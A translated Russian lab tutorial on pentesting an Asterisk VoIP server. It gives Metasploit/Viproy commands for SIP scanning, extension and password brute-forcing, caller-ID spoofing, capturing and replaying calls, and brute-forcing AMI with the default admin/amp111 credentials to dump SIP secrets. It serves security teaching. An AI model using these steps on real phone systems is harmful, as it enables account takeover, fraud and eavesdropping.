Найти тему

Пентестинг на сервере VoIP Asterisk

Оглавление

В этой статье пойдет речь о пентестинге VoIP, который включает в себя сбор информации, расширения пользователя и перечисление паролей, получение данных для регистрации sip и их подмену. Более того, будет подробно рассказано об интерфейсе Asterisk Manager и некоторых командах, которые могут быть запущены на сервере Asterisk, а также рассмотрена атака AMI Brute force.

Содержание

Знакомство с VoIP

  • Протокол SIP
  • Запросы SIP
  • Ответы SIP
  • Структура взаимодействия клиентов SIP
  • Протокол RTP
  • Настройка Viproy VoIP Kit
  • Идентификация SIP-серверов
  • Получения расширений с помощью лобовой атаки
  • Регистрация расширений
  • Спуфинг звонков
  • Мониторинг журнала действий
  • Захват трафика звонков с помощью Wireshark

Знакомство с AMI

  • Установка AMI
  • Атака AMI Bruteforce
  • Команда Login
  • Команда Help
  • Перечисление конкретного пользователя
  • Включение откладки
  • Перечисление Dial Plan
  • Перечисление основных настроек
  • Перечисление звонков

Знакомство с VoIP

VoIP расшифровывается как Voice over Internet Protocol, он еще называется IP-телефонией, т.е. VoIP используется для общения по интернету. Технология VoIP позволяет совершать аудиовызовы с использованием интернет-соединения вместо обычного телефона. Некоторые партнеры VoIP дают возможность пользователю звонить только людям, использующим ту же услугу, но другие же – могут звонить любому, у кого есть телефонный номер, включая местные, междугородние и иные номера. Кроме того, некоторые VoIP-сервисы работают с помощью компьютера или специального VoIP-телефона (например, Cisco или Polycom)

VoIP по умолчанию использует порт номер 5060 в качестве своего сигнального порта SIP. Он применяется для регистрации, когда телефон (например, Cisco, Polycom) регистрируется в Asterisk.

Ниже перечислены функции, привычные для пользователя оборудования VoIP, которые не являются доступными для владельцев устаревших телефонов:

  • Использование нескольких линий (линии PRI, линии BRI) и расширений
  • Голосовая почта
  • Запись голоса
  • Административный контроль
  • Регистрация звонков
  • Модульная конфигурация
  • IVR и приветственные сообщения

Протокол SIP

Протокол Session Initiation Protocol (SIP) дает возможность пользователю устанавливать связь, завершать и изменять голосовые или видеозвонки. Трафик голоса и видео передается по протоколу реального времени (RTP). SIP — это протокол прикладного уровня, который использует UDP или TCP для передачи трафика. По умолчанию он задействует порт номер 5060 UDP / TCP для отправки незашифрованного трафика или порт номер 5061 для отправки зашифрованного трафика TLS. Атаки Man-in-the-Middle (MITM) охватывают все типы связи, включая VoIP/SIP. Таким образом, шифрование является необходимым компенсирующим элементом управления, который должен быть установлен независимо от среды или метода обслуживания SIP. Этот протокол основан на ASCII и очень похож на HTTP, поскольку он использует модель запроса/ответа. Запросы к SIP-клиенту поступают через SIP URI; в то время как запросы к AGI — через пользовательского агента, аналогичного HTTP-запросу, выполняемому веб-браузером.

Запросы SIP

В рамках SIP распространены следующие типы запросов:

№ЗапросОписание 1INVITEКлиенту предлагается принять участие в сеансе вызова. 2ACKПодтверждение того, что клиент получил ответ на запрос  3BYEЗавершает вызов и может быть отправлен либо самим абонентом, либо его собеседником 4CANCELУдаляет все отложенные запросы 5OPTIONSЗапрашивает возможные опции серверов 6REGISTERРегистрирует адрес, указанный в поле заголовка, с помощью SIP-сервера7 PRACKПредварительное подтверждение 8SUBSCRIBEПодписка на события или уведомления от пользователя 9NOTIFYУведомляет подписчика о новом событии 10PUBLISHПубликует событие на сервере 11INFOОтправляет информацию о действующем сеансе 12REFERПросит собеседника передать SIP-запрос (перевод вызова) 13MESSAGEМгновенно отправляет сообщения с помощью SIP

Эти запросы модифицируют состояние сеанса связи без изменения самого диалога.

Ответы SIP

Пользователь может понять ответы, используя их код. Общее деление приведено ниже:

  • 1xx (информация о запросе)
  • 2xx (выполнение запроса)
  • 3xx (перенаправление запроса)
  • 4xx (неудачный запрос)
  • 5xx (веб-сервер не может выполнить запрос)
  • 6xx (глобальная ошибка в запросе)

Структура взаимодействия клиентов SIP

Типичная структура взаимодействия клиентов SIP состоит из следующих элементов:

  • Пользователь инициирует запрос на приглашение собеседника.
  • Собеседник посылает обратно (пробный) ответ.
  • Пользователь начинает звонить, отправляя запрос (звонок).
  • Собеседник берет трубку, и отправляется успешный ответ (ОК).
  • Запрос ACK направляется инициатором.
  • Вызов начинается с протокола RTP.
  • Запрос BYE отправляется для завершения вызова.

Протокол RTP

RTP — это сетевой протокол для передачи аудио и видео. Протокол RTP используется в системах связи, которые включают в себя потоковые медиа, такие как телефония, видео- или аудиоконференции. Порт RTP выбирается по умолчанию от 16384 до 32767. Эти порты используются для sip-вызовов. В практической части статьи будет задействован диапазон портов UDP 10000-20000 для RTP.

Конфигурация устройств, использованных в практической части статьи

Компьютер пользователя:

  • OS: Kali Linux 2020.1
  • IP: 192.168.1.4

Компьютер жертвы:

  • Сервер VOIP: Trixbox
  • Клиент VOIP: Zoiper
  • IP: 192.168.1.7

О том, как настроить сервер VOIP, можно прочитать, перейдя по ссылке.

Настройка Viproy VoIP Kit

Прежде чем приступить к пентестингу, нужно добавить комплект Viproy-VoIP в свой Metasploit. О подобной процедуре добавления модулей в Metasploit можно прочитать здесь. На картинке используются Rapid7 и Viproy автора.

Необходимо внедрить некоторые зависимости. Сначала следует обновить исходники, а затем установить следующее:

sudo apt update && sudo apt install -y git autoconf build-essential libcap-dev libpq-dev zliblg-dev libsqlite3-dev

-2

Как только пользователь закончит с установкой всех зависимостей, пришло время клонировать репозиторий Viproy в свой Kali Linux. Он содержит модули, которые нужно добавить в фреймворк Metasploit.

git clone https://github.com/fozavci/viproy-VoIPkit.git

-3

Здесь можно увидеть, что у пользователя есть каталог lib и каталог modules, а также скрипт установки kali.

Перед запуском скрипта необходимо вручную скопировать содержимое каталога lib и каталога modules в каталог lib и modules для Metasploit.

cp lib/msf/core/auxiliary/* /usr/share/metasploit-framework/lib/msf/core/auxiliary/
cp modules/auxiliary/VoIP/viproy-VoIPkit* /usr/share/metasploit-framework/modules/auxiliary/VoIP/
cp modules/auxiliary/spoof/cisco/viproy-VoIPkit_cdp.rb /usr/share/metasploit-framework/modules/auxiliary/spoof/cisco/

-4

Теперь нужно сделать записи модулей, которые были скопированы, в файлах Mixins, расположенных по пути /usr/share/Metasploit-framework/lib/msf/core/auxiliary/.

echo "require 'msf/core/auxiliary/sip'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/skinny'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/msrp'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb

-5

Это также можно сделать вручную или с помощью текстового редактора.

Была добыта предварительно скомпилированная версия. Чтобы установить ее, нужно выполнить следующий порядок действий.

Во-первых, пользователь создает копию предварительно скомпилированной версии, взятой с GitHub.

git clone https://github.com/fozavci/metasploit-framework-with-viproy-VoIPkit.git

Затем он заходит в каталог и устанавливает viproy с помощью гемов.

cd metasploit-framework-with-viproy/
gem install bundler
bundle install

-6

Это займет некоторое время. После этого необходимо перезагрузить модули в фреймворк Metasploit.

reload_all

Установка Viproy завершена. Можно начинать пентестинг на VoIP-сервере.

В сети VoIP есть информация, которая может оказаться полезной, — это VoIP-шлюз или серверы, системы IP-PBX, клиентское программное обеспечение (софтфоны)/VoIP-телефоны и пользовательские расширения. Далее будут рассмотрены популярные инструменты для перечисления и фингерпринтинга.

Идентификация SIP-серверов

Используя sip, модуль Metasploit Scanner Module идентифицирует систему, предоставляя один IP-адрес или диапазон IP-адресов. Пользователь может просканировать все VoIP-серверы и их выбранные параметры.

use auxiliary/scanner/sip/options
set rhosts 192.168.1.0/24
run

-7

На картинке видно, что сканирование выдало VoIP-сервер, работающий на IP 192.168.1.7. Можно также заметить, что у него есть агент пользователя Asterisk и несколько активных запросов.

Получения расширения с помощью лобовой атаки

Далее, будет осуществлена лобовая атака на целевой сервер, чтобы извлечь расширения, пароли и секретные данные. Для этой работы были составлены 2 словаря. Один — для имен пользователей, а другой — для паролей. Далее следует определить диапазон для расширений. Пользователь выбрал диапазон от 0000000 до 99999999. А потом он запустил эксплойт.

use auxiliary/voip/viproy_sip_bruteforce
set rhosts 192.168.1.7
set minext 00000000
set maxext 99999999
set user_file /home/kali/user.txt
set pass_file /home/kali/pass.txt
exploit

-8

На картинке видно, что пользователю удалось извлечь 10 расширений. Следует убедиться в том, что секрет, который мы создали для получения расширения, трудно обнаружить, чтобы предотвратить лобовую атаку такого типа.

Регистрация расширений

У пользователя есть нужные расширения и секретные данные. Теперь пришло время сделать еще один шаг и зарегистрировать расширения, чтобы можно было инициировать вызовы со своей машины. Нужно выбрать расширение 99999999. Теперь все, что требуется сделать, это предоставить IP-адрес сервера, расширение и его секрет. Как только пользователь запускает вспомогательный сервер, он получает ответ от сервера, сообщающий о том, что расширение с этим IP-адресом зарегистрировано.

use auxiliary/voip/viproy_sip_register
set rhosts 192.168.1.7
set username 99999999
set password 999
run

-9

Также следует зарегистрировать программное обеспечение, так как у пользователя нет линий PSTN или PRI для совершения исходящих звонков. Следовательно, тестируется расширение для совершения вызова.

Спуфинг звонков

В предыдущей части было зарегистрировано расширение 99999999, теперь пользователь будет использовать его для вызова расширения 00000000. Здесь можно подделать идентификатор вызывающего абонента на все, что захочется. Он был настроен на параметры хакера. Теперь следует определить логин для того, чтобы пользователь был способен войти на сервер с секретом 999. Также нужно установить верный цифровой идентификатор пользователя, чтобы он смог принимать числовые расширения.

use auxiliary/voip/viproy_sip_invite
set rhosts 192.168.1.7
set to 00000000
set from 99999999
set login true
set fromname hacker
set username 99999999
set password 999
set numeric users true
run

-10

Как только был запущен вспомогательный модуль, можно увидеть, что есть вызов, инициированный с добавочного номера 999999999 на добавочный номер 00000000, который был установлен на пользовательском клиенте Zoiper. Также можно наблюдать, что пользователь установил Hacker Caller ID на вспомогательном устройстве.

-11

Мониторинг журнала действий

Теперь пользователь способен отслеживать журналы на VoIP-сервере, в котором содержится информация обо всех вызовах, которые были инициированы, подключены, сброшены. Все расширения и другая важная информация также доступны. Можно применить лобовую атаку или проверить учетные данные. Сначала требуется подключить сервер с помощью ssh, а затем ввести следующую команду, чтобы открыть панель консоли Asterisk. Эта панель записывает действия из журналов в режиме реального времени.

ssh 192.168.1.7
asterisk -rvvvvvvvvvvvvvvv

-12

Захват трафика звонков с помощью Wireshark

Когда пользователи инициируют телефонный звонок, хакер может наблюдать захваченный SIP-трафик с помощью Wireshark. Запускается Wireshark и выбирается сетевой адаптер, на котором работает VoIP-сервер. Затем пользователь начинает захват пакетов. Если посмотреть внимательно, то можно увидеть, что в меню Wireshark есть вкладка «Telephony». Там следует выбрать вариант «VoIP Calls».

-13

Как только пользователь нажимаем на «VoIP Calls», открывается окно, показывающее все вызовы, которые были захвачены. Вызовы выстраиваются в последовательности от одного IP-адреса к другому.

-14

Если пользователь нажмет на кнопку «Flow Sequence», то он увидит SIP- рукопожатия.

С помощью этой картинки можно детально проанализировать вызов. В потоке вызова SIP существует несколько транзакций SIP. Транзакция SIP состоит из нескольких запросов и ответов, и сгруппировать их в одну транзакцию можно, если использовать параметр CSeq:103.

Первый обязательный шаг — это регистрация расширения. После продления регистрация должна соответствовать длине сеанса. С расширением 99999999 сеанс состоит из запроса-приглашения пользователя на номер 00000000. Прокси-сервер немедленно отправляет запрос, чтобы остановить трансляцию и перенаправить запрос на расширение 00000000.

-15

Расширение 00000000 захватывает сигнал вызова, когда телефон начинает звонить, и он перенаправляется прокси-сервером пользователю. Наконец, сообщение соответствует процессу принятия вызова (добавочный номер 00000000 отвечает на вызов). После вызова сервер попробует назначить порты RTP, и транспортный протокол RTP запускается с параметрами (порты, адреса, кодеки) протокола SDP. Последняя транзакция соответствует окончанию сеанса. Все это выполняется только после запроса BYE, отправленного к прокси-серверу, а затем информация перенаправляется на расширение 00000000.

Пользователь отвечает сообщением, чтобы подтвердить, что последнее сообщение было получено верно. Вызов был инициирован пользователем по имени хакер с расширением 99999999 на расширение 00000000. Продолжительность вызова и текущее состояние можно увидеть в приведенном выше примере. Wireshark собрал пакеты вызовов, и теперь можно прослушать весь телефонный звонок. После отключения пользователь может воспроизвести телефонные звонки на своем компьютере.

-16

Когда пользователь нажимает кнопку «Play Streams», программа запрашивает устройство вывода на основе установленных драйверов ноутбука. Затем можно услышать разговор, который был записан во время VoIP-вызова.

-17

Знакомство с AMI

AMI расшифровывается как Asterisk Manager Interface; AMI позволяет клиентской программе подключаться к серверу Asterisk и вводить команды или считывать события с помощью TCP-порта. По умолчанию используется порт AMI норм 5038.

С помощью AMI пользователь может управлять сервером PBX, инициировать вызовы, проверять состояние почтовых ящиков, контролировать каналы и SIP-аккаунты, очереди, а также выполнять команды в Asterisk. Он способен выставить необходимые ему настройки, редактируя конфигурационный файл, расположенный по адресу etc/asterisk / manager.conf. По умолчанию AMI отключен, пользователь может его включить, изменив manager.conf. Команды AMI называются «действиями«. VOIP-сервер генерирует “ответ«. AMI также будет отправлять “события«, в которых содержится различная важная информация об изменениях в работе Asterisk.

При настройке AMI также можно изменить Manager Headers и Response ID. Менеджер способен обрабатывать отчеты о состоянии расширения со всех каналов, что позволяет ему генерировать события, когда расширение или устройство изменяют. В этих событиях есть много деталей, которые отражают изменения конфигурации канала и устройства. Все файлы конфигурации для получения дополнительной информации можно посмотреть по пути /etc/asterisk / sip_custom.conf или /etc/asterisk / extensions_custom.conf.

Примечание: перед использованием AMI следует убедиться, что все модули Asterisk загружены. Если модули не скачаны, приложение не будет отправлять нужную информацию.

Установка AMI

Установка AMI будет выполнена после внесения некоторых изменений в конфигурацию устройства. Для того чтобы осуществить их, нужно войти на VoIP-сервер с помощью SSH-сервиса.

ssh 192.168.1.12
vi /etc/asterisk/manager.conf

-18

Произвести необходимые изменения.

enabled = yes
port = 5038
secret = amp111
permit=0.0.0.0/255.255.255.0

-19

После сохранения конфигурации нужно перезагрузить VoIP-сервер, чтобы изменения вступили в силу.

А теперь следует проверить, работает ли порт номер 5038. Проводится сканирование nmap, чтобы подтвердить, что порт AMI доступен.

nmap -p5038 192.168.1.12

-20

Как видно на картинке, AMI работает на порту номер 5038.

Атака AMI Bruteforce

Для проведения лобовой атаки создается словарь с возможными вариантами имен пользователей и паролей. Хакер собирается использовать вспомогательный модуль asterisk_login для этого нападения.

use auxiliary/voip/asterisk_login
set rhosts 192.168.1.12
set user_file /root/Desktop/unix_users.txt
set pass_file /root/Desktop/unix_passwords.txt
set stop_on_success true
run

-21

На картинке видно, что можно извлечь имя пользователя и пароль для входа. Большинство VoIP-серверов на базе Asterisk используют по умолчанию имя пользователя «admin» и пароль «amp111».

Команда Login

Теперь пользователь пробует войти на сервер Asterisk, используя полученные учетные данные. Можно использовать telnet для подключения к AMI. После подключения нужно сообщить AMI, какое действие пользователь хочет выполнить. В данном случае он пытается войти в систему. Итак, после предоставления самого действия пользователь вводит учетные данные и получает доступ. На картинке заметно, что у него есть необходимые привилегии.

telnet 192.168.1.12 5038
Action: Login
Username: admin
Secret: amp111

-22

Команда Help

Мало что известно о командах, которые можно использовать для работы с Asterisk. Пользователь вводит команду help, чтобы лучше понять все задачи, доступные для выполнения с помощью AMI.

Action: Command
Command: help

-23

Перечисление данных пользователей SIP

Теперь необходимо перечислить данные пользователей SIP, которые могут иметь расширения, имена пользователей и соответствующие им секреты. Для этого нужно будет указать действие. Используется «команда» как действие. После указания действия будет запущена команда, которая покажет данные пользователей SIP.

Action: command
Command: sip show users

-24

Были найдены идентификаторы 4 пользователей и пароли.

Перечисление конкретного пользователя

В предыдущей главе были найдены 4 пользователя. Теперь нужно перечислить информацию об одном конкретном пользователе. Принцип действий останется таким же. Но будет использовано имя пользователя для вычисления конкретного пользователя.

Action: command
Command: sip show peer 2001

-25

Здесь можно увидеть конкретные данные SIP пользователя. Хакер способен получить пароли MD5, если они были установлены для этого конкретного пользователя. Также можно выяснить, какое разрешение имеет этот пользователь, и увидеть идентификатор вызывающего абонента.

-26

Более того, хакер способен найти данные почтового ящика и IP-адреса сервера. Здесь IP означает регистрацию IP-сети, разрешенную для конкретного пользователя. На картинке также видно тип устройства, с которого было установлено соединение.

Включение откладки

Отладку можно использовать для мониторинга конфигурации оборудования и возникающих ошибок, а также для получения информации о вызовах, коде и модулях.

Action: Command
Command: sip set debug on

-27

На картинке видно, что отладка SIP включена.

Перечисление Dial Plan

С помощью этого действия можно получить сведения о маршрутизации вызовов. Выполняется следующая команда:

Action: Command
Command: dialplan show from-internal

-28

Как видно на картинке, пользователь получил необходимые ему сведения.

Перечисление основных настроек

Пользователь сможет узнать всю информацию об Asterisk (его версию, параметры сборки, подробную информацию, время запуска, свободную загрузку памяти, информацию AMI, язык по умолчанию, способ записи вызовов).

-29

Перечисление записей CDR (Call Detail Records)

CDR — это самый нужный сервис в Asterisk. CDR — это система, которая способна предоставить одну или несколько записей вызовов каждого пользователя в зависимости от версии Asterisk. Такая функция будет полезной для администраторов компаний, которым нужен простой способ отслеживать, какие вызовы осуществлялись.

Action: Command
Command: cdr show status

-30

Таким образом, пользователь может запустить работу журнала CDR, а также активировать сервер для сбора данных. Есть возможность узнать всю информацию о базе данных CDR с помощью следующей команды.

Количество времени, в течение которого пользователь подключен к базе данных, и все журналы можно увидеть на скриншоте ниже.

Action Command
Command: cdr mysql status

-31

Перечисление звонков

Пользователь также может перечислить активные вызовы и список обработанных вызовов.

Action: Command
Command: core show calls

-32

Узнать больше об этом можно на официальной странице Asterisk в Википедии.

Автор переведенной статьи: Madhava Rao Yejarla